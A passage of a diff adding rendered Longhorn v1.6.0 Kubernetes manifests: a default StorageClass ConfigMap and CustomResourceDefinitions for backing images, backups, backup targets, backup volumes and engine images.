v1.6.0 +data: + default-setting.yaml: |- + priority-class: longhorn-critical +--- +# Source: longhorn/templates/storageclass.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-storageclass + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +data: + storageclass.yaml: | + kind: StorageClass + apiVersion: storage.k8s.io/v1 + metadata: + name: longhorn + annotations: + storageclass.kubernetes.io/is-default-class: "true" + provisioner: driver.longhorn.io + allowVolumeExpansion: true + reclaimPolicy: "Delete" + volumeBindingMode: Immediate + parameters: + numberOfReplicas: "1" + staleReplicaTimeout: "30" + fromBackup: "" + fsType: "ext4" + dataLocality: "disabled" +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagedatasources.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageDataSource + listKind: BackingImageDataSourceList + plural: backingimagedatasources + shortNames: + - lhbids + singular: backingimagedatasource + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID of the provisioned backing image file + jsonPath: .spec.uuid + name: UUID + type: string + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size + jsonPath: .status.size + name: Size + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageDataSourceSpec defines the desired state of the Longhorn backing image data source + properties: + checksum: + type: string + diskPath: + type: string + diskUUID: + type: string + fileTransferred: + type: boolean + nodeID: + type: string + parameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + uuid: + type: string + type: object + status: + description: BackingImageDataSourceStatus defines the observed state of the Longhorn backing image data source + properties: + checksum: + type: string + currentState: + type: string + ip: + type: string + message: + type: string + ownerID: + type: string + progress: + type: integer + runningParameters: + additionalProperties: + type: string + nullable: true + type: object + size: + format: int64 + type: integer + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageManager + listKind: BackingImageManagerList + plural: backingimagemanagers + shortNames: + - lhbim + singular: backingimagemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageManagerSpec defines the desired state of the Longhorn backing image manager + properties: + backingImages: + additionalProperties: + type: string + type: object + diskPath: + type: string + diskUUID: + type: string + image: + type: string + nodeID: + type: string + type: object + status: + description: BackingImageManagerStatus defines the observed state of the Longhorn backing image manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + backingImageFileMap: + additionalProperties: + properties: + currentChecksum: + type: string + message: + type: string + name: + type: string + progress: + type: integer + senderManagerAddress: + type: string + sendingReference: + type: integer + size: + format: int64 + type: integer + state: + type: string + uuid: + type: string + type: object + nullable: true + type: object + currentState: + type: string + ip: + type: string + ownerID: + type: string + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimages.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackingImage + listKind: BackingImageList + plural: backingimages + shortNames: + - lhbi + singular: backingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .spec.image + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID + jsonPath: .status.uuid + name: UUID + type: string + - description: The source of the backing image file data + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size in each disk + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageSpec defines the desired state of the Longhorn backing image + properties: + checksum: + type: string + disks: + additionalProperties: + type: string + type: object + sourceParameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + type: object + status: + description: BackingImageStatus defines the observed state of the Longhorn backing image status + properties: + checksum: + type: string + diskFileStatusMap: + additionalProperties: + properties: + lastStateTransitionTime: + type: string + message: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + diskLastRefAtMap: + additionalProperties: + type: string + nullable: true + type: object + ownerID: + type: string + size: + format: int64 + type: integer + uuid: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: backupbackingimages.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupBackingImage + listKind: BackupBackingImageList + plural: backupbackingimages + shortNames: + - lhbbi + singular: backupbackingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .status.backingImage + name: BackingImage + type: string + - description: The backing image size + jsonPath: .status.size + name: Size + type: string + - description: The backing image backup upload finished time + jsonPath: .status.backupCreatedAt + name: BackupCreatedAt + type: string + - description: The backing image backup state + jsonPath: .status.state + name: State + type: string + - description: The last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupBackingImage is where Longhorn stores backing image backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupBackingImageSpec defines the desired state of the Longhorn backing image backup + properties: + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + type: object + syncRequestedAt: + description: The time to request run sync the remote backing image backup. + format: date-time + nullable: true + type: string + userCreated: + description: Is this CR created by user through API or UI. Required + type: boolean + required: + - userCreated + type: object + status: + description: BackupBackingImageStatus defines the observed state of the Longhorn backing image backup + properties: + backingImage: + description: The backing image name. + type: string + backupCreatedAt: + description: The backing image backup upload finished time. + type: string + checksum: + description: The checksum of the backing image. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the backing image backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backing image backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + managerAddress: + description: The address of the backing image manager that runs backing image backup. + type: string + messages: + additionalProperties: + type: string + description: The error messages when listing or inspecting backing image backup. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this CR. + type: string + progress: + description: The backing image backup progress. + type: integer + size: + description: The backing image size. + format: int64 + type: integer + state: + description: The backing image backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The backing image backup URL. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backups.longhorn.io +spec: + group: longhorn.io + names: + kind: Backup + listKind: BackupList + plural: backups + shortNames: + - lhb + singular: backup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupSpec defines the desired state of the Longhorn backup + properties: + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + type: object + snapshotName: + description: The snapshot name. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupStatus defines the observed state of the Longhorn backup + properties: + backupCreatedAt: + description: The snapshot backup upload finished time. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the snapshot backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error messages when calling longhorn engine on listing or inspecting backups. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup CR. + type: string + progress: + description: The snapshot backup progress. + type: integer + replicaAddress: + description: The address of the replica that runs snapshot backup. + type: string + size: + description: The snapshot size. + type: string + snapshotCreatedAt: + description: The snapshot creation time. + type: string + snapshotName: + description: The snapshot name. + type: string + state: + description: The backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The snapshot backup URL. + type: string + volumeBackingImageName: + description: The volume's backing image name. + type: string + volumeCreated: + description: The volume creation time. + type: string + volumeName: + description: The volume name. + type: string + volumeSize: + description: The volume size. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backuptargets.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackupTarget + listKind: BackupTargetList + plural: backuptargets + shortNames: + - lhbt + singular: backuptarget + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupTargetSpec defines the desired state of the Longhorn backup target + properties: + backupTargetURL: + description: The backup target URL. + type: string + credentialSecret: + description: The backup target credential secret. + type: string + pollInterval: + description: The interval that the cluster needs to run sync with the backup target. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup target. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupTargetStatus defines the observed state of the Longhorn backup target + properties: + available: + description: Available indicates if the remote backup target is available or not. + type: boolean + conditions: + description: Records the reason on why the backup target is unavailable. + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + lastSyncedAt: + description: The last time that the controller synced with the remote backup target. + format: date-time + nullable: true + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup target CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backupvolumes.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupVolume + listKind: BackupVolumeList + plural: backupvolumes + shortNames: + - lhbv + singular: backupvolume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupVolumeSpec defines the desired state of the Longhorn backup volume + properties: + syncRequestedAt: + description: The time to request run sync the remote backup volume. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupVolumeStatus defines the observed state of the Longhorn backup volume + properties: + backingImageChecksum: + description: the backing image checksum. + type: string + backingImageName: + description: The backing image name. + type: string + createdAt: + description: The backup volume creation time. + type: string + dataStored: + description: The backup volume block count. + type: string + labels: + additionalProperties: + type: string + description: The backup volume labels. + nullable: true + type: object + lastBackupAt: + description: The latest volume backup time. + type: string + lastBackupName: + description: The latest volume backup name. + type: string + lastModificationTime: + description: The backup volume config last modification time. + format: date-time + nullable: true + type: string + lastSyncedAt: + description: The last time that the backup volume was synced into the cluster. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error messages when call longhorn engine on list or inspect backup volumes. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup volume CR. + type: string + size: + description: The backup volume size. + type: string + storageClassName: + description: the storage class name of pv/pvc binding with the volume. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: engineimages.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: EngineImage + listKind: EngineImageList + plural: engineimages + shortNames: + - lhei + singular: engineimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Compatibility of the engine image + jsonPath: .status.incompatible + name: Incompatible + type: boolean + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineImageSpec defines the desired state of the Longhorn engine image + properties: + image: + minLength: 1 + type: string + required: + - image + type: object + status: + description: EngineImageStatus defines the observed state of the Longhorn engine image + properties: + buildDate: + type: string + cliAPIMinVersion: + type: integer + cliAPIVersion: + type: integer + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + controllerAPIMinVersion: + type: integer + controllerAPIVersion: + type: integer + dataFormatMinVersion: + type: integer + dataFormatVersion: + type: integer + gitCommit: + type: string + incompatible: + type: boolean + noRefSince: + type: string + nodeDeploymentMap: + additionalProperties: + type: boolean + nullable: true + type: object + ownerID: + type: string + refCount: + type: integer + state: + type: string + version: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: 